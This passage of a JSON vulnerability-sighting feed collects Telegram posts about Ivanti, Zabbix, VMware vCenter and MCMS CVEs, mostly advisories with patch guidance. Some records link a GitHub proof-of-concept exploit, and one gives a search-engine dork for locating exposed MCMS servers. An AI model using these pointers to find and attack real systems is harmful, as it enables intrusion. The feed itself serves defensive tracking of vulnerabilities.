\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\ud83d\ude33 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b, \u043d\u043e Ivanti \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u041f\u043e\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0442.\n\n #ivanti #vulnerability #ics #zta\n\n@ZerodayAlert", "creation_timestamp": "2026-07-12T02:00:05.483415Z"}, {"uuid": "db253848-3a5b-43c9-bc1e-8ac195c97ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/174", "content": "1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: Ivanti Pulse Secure \u2014 \u043c\u0438\u043d\u0430 \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Eclypsium \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Pulse Secure \u043e\u0442 Ivanti, \u0447\u0442\u043e \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u26a1\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\u2022 1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\u2022 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 Python.\n\u2022 133 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430.\n\u2022 \u041d\u0435\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 \u0427\u0442\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438:\n\n\u2022 CVE-2023-46805: \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\u2022 CVE-2024-21887: \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0441\u0434\u0435\u043b\u0430\u0432 \u0435\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u2022 CVE-2024-21893: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a VPN-\u0441\u0435\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u2022 CVE-2024-22024: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, \u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcac \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c\n\n1) \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u044e \u0432\u0435\u0440\u0441\u0438\u044e: 9.1.18.2-24467.1 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b.\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435: 9.1R11.4-24502.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\n2) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\u2022 \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0434\u0432\u0443\u0445\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\u2022 \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438.\n\u2022 \u0411\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438.\n\u2022 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441.\n\n3) \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u043c\u0438\n\nIvanti \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.\n\n#PulseSecure #Ivanti #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-12T02:00:06.102925Z"}, {"uuid": "d5521a36-59a6-4e4b-870e-2c427824a465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/securixy_kz/918", "content": "#CVE-2024-22274: Privilege Escalation: #VMware #vCenter Server Authenticated #RCE\n\nhttps://github.com/l0n3m4n/CVE-2024-22274-RCE", "creation_timestamp": "2026-07-12T22:00:10.970593Z"}, {"uuid": "4b2a84f3-bce9-47ac-b5c7-e01519516d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://t.me/securixy_kz/960", "content": "#CVE-2024-22116 Critical RCE \u0432 Zabbix Monitoring Solution\n\nAn administrator with restricted permissions can exploit the lack of default escaping for script parameters.\n\nCVSS 9.9\n\nThe vulnerability affects the following versions of Zabbix:\n6.4.0 to 6.4.15\n7.0.0alpha1 to 7.0.0rc2\n\nZabbix has addressed this issue in the following fixed versions:\n6.4.16rc1\n7.0.0rc3\n\nhttps://support.zabbix.com/browse/ZBX-25016", "creation_timestamp": "2026-07-12T22:00:10.549958Z"}, {"uuid": "1c342d94-5482-4ba6-bfad-145e559050ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://t.me/securixy_kz/960", "content": "#CVE-2024-22116 Critical RCE \u0432 Zabbix Monitoring Solution\n\nAn administrator with restricted permissions can exploit the lack of default escaping for script parameters.\n\nCVSS 9.9\n\nThe vulnerability affects the following versions of Zabbix:\n6.4.0 to 6.4.15\n7.0.0alpha1 to 7.0.0rc2\n\nZabbix has addressed this issue in the following fixed versions:\n6.4.16rc1\n7.0.0rc3\n\nhttps://support.zabbix.com/browse/ZBX-25016", "creation_timestamp": "2026-07-13T00:00:34.904489Z"}, {"uuid": "bd777a89-27e4-4234-9882-4fe04ca669ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/securixy_kz/918", "content": "#CVE-2024-22274: Privilege Escalation: #VMware #vCenter Server Authenticated #RCE\n\nhttps://github.com/l0n3m4n/CVE-2024-22274-RCE", "creation_timestamp": "2026-07-13T00:00:35.208195Z"}, {"uuid": "06c53337-a8e2-4e7d-be5c-ccb172ee6c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/167", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Ivanti CVE-2024-22024: \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f\n\n\ud83d\udd25 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Ivanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0448\u043b\u044e\u0437\u0430\u0445 ICS, IPS \u0438 ZTA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\ude31 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 XXE \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML \u0438 \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\ud83d\ude33 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b, \u043d\u043e Ivanti \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u041f\u043e\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0442.\n\n #ivanti #vulnerability #ics #zta\n\n@ZerodayAlert", "creation_timestamp": "2026-07-13T00:00:54.311406Z"}, {"uuid": "4e9b2389-33e2-47bf-bdb2-53855a2c0eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/174", "content": "1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: Ivanti Pulse Secure \u2014 \u043c\u0438\u043d\u0430 \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Eclypsium \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Pulse Secure \u043e\u0442 Ivanti, \u0447\u0442\u043e \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u26a1\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\u2022 1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\u2022 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 Python.\n\u2022 133 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430.\n\u2022 \u041d\u0435\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 \u0427\u0442\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438:\n\n\u2022 CVE-2023-46805: \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\u2022 CVE-2024-21887: \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0441\u0434\u0435\u043b\u0430\u0432 \u0435\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u2022 CVE-2024-21893: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a VPN-\u0441\u0435\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u2022 CVE-2024-22024: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, \u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcac \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c\n\n1) \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u044e \u0432\u0435\u0440\u0441\u0438\u044e: 9.1.18.2-24467.1 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b.\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435: 9.1R11.4-24502.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\n2) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\u2022 \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0434\u0432\u0443\u0445\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\u2022 \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438.\n\u2022 \u0411\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438.\n\u2022 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441.\n\n3) \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u043c\u0438\n\nIvanti \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.\n\n#PulseSecure #Ivanti #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-13T00:00:54.820247Z"}, {"uuid": "11c414fc-d10b-41c6-99bb-f92f68910c90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/918", "content": "#CVE-2024-22274: Privilege Escalation: #VMware #vCenter Server Authenticated #RCE\n\nhttps://github.com/l0n3m4n/CVE-2024-22274-RCE", "creation_timestamp": "2026-07-14T00:00:58.311571Z"}, {"uuid": "3991ec3a-e702-41d2-b733-c3355fffa2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://t.me/securixy_kz/960", "content": "#CVE-2024-22116 Critical RCE \u0432 Zabbix Monitoring Solution\n\nAn administrator with restricted permissions can exploit the lack of default escaping for script parameters.\n\nCVSS 9.9\n\nThe vulnerability affects the following versions of Zabbix:\n6.4.0 to 6.4.15\n7.0.0alpha1 to 7.0.0rc2\n\nZabbix has addressed this issue in the following fixed versions:\n6.4.16rc1\n7.0.0rc3\n\nhttps://support.zabbix.com/browse/ZBX-25016", "creation_timestamp": "2026-07-14T00:00:58.952508Z"}, {"uuid": "0964381c-bf57-4dbd-8bee-3aa406bbe089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "Telegram/FMxKlI5Q8oe-wqfdJhLf519zmPU2wTxgtOLa-sFM77th6qo", "content": "", "creation_timestamp": "2026-08-27T12:00:09.544604Z"}, {"uuid": "ef3a2892-6d07-4aaa-a1b4-a301199ecb4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "seen", "source": "Telegram/2JgLAbMqM6fsfnUVedt_GGez95ruqiYt_7ssbkX2uKcldVA", "content": "", "creation_timestamp": "2026-08-27T12:00:06.408820Z"}, {"uuid": "15b795ca-e1ee-4ef7-929a-4653236d958f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "seen", "source": "Telegram/2JgLAbMqM6fsfnUVedt_GGez95ruqiYt_7ssbkX2uKcldVA", "content": "", "creation_timestamp": "2026-08-27T12:00:06.499475Z"}, {"uuid": "97c3d408-13b4-4708-afd4-72d7b2780dec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:15:11.770050Z"}, {"uuid": "60c3512e-291b-4b75-954e-9e5c65daf04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "seen", "source": "https://t.me/crackvaultde/1137", "content": "\ud83d\udd34 Critical Vulnerability in MCMS 5.3.5 (CVE-2024-22567)  \n\n\ud83d\udccc Vulnerability:  \n\u2022 Type: SQL Injection \u2192 RCE Chain  \n\u2022 CVSS: 9.1 (Critical)  \n\u2022 Affected: MCMS \u2264 5.3.5  \n\n\ud83d\udea8 Immediate Actions:  \n1. Patch to MCMS 5.3.6+  \n2. Block /api/content/list endpoint  \n3. Audit admin logs for SQL errors  \n\nDownload Free Here: https://tools.crack-vault.de/download-cve-2024-22567-security-advisory-for-mcms-5-3-5\n\n\ud83d\udd0d Detection Dork:  \nzoomeye app:\"MCMS\"\n  \n\n#WebSecurity #ZeroDay #CMS", "creation_timestamp": "2026-07-20T21:00:06.226929Z"}, {"uuid": 